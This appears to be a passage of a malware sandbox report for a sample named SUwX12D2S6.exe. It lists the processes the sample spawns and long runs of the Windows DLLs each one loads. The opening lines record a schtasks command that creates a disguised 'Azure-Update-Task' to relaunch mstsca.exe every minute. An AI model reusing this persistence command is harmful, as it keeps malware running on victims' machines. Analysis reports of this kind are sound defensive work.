Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Windows\SysWOW64\schtasks.exe /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe"
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Process created: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe "C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe" --AutoStart
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
Source: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	Process created: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: browcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\SUwX12D2S6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: drprov.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winsta.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ntlanman.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: davclnt.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: davhlpr.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: cscapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: browcli.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: dbghelp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: sxs.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build2.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\7dff3941-d69c-460f-a7ee-d94d9d9159b1\build3.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: msimg32.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe	Section loaded: schannel.dll
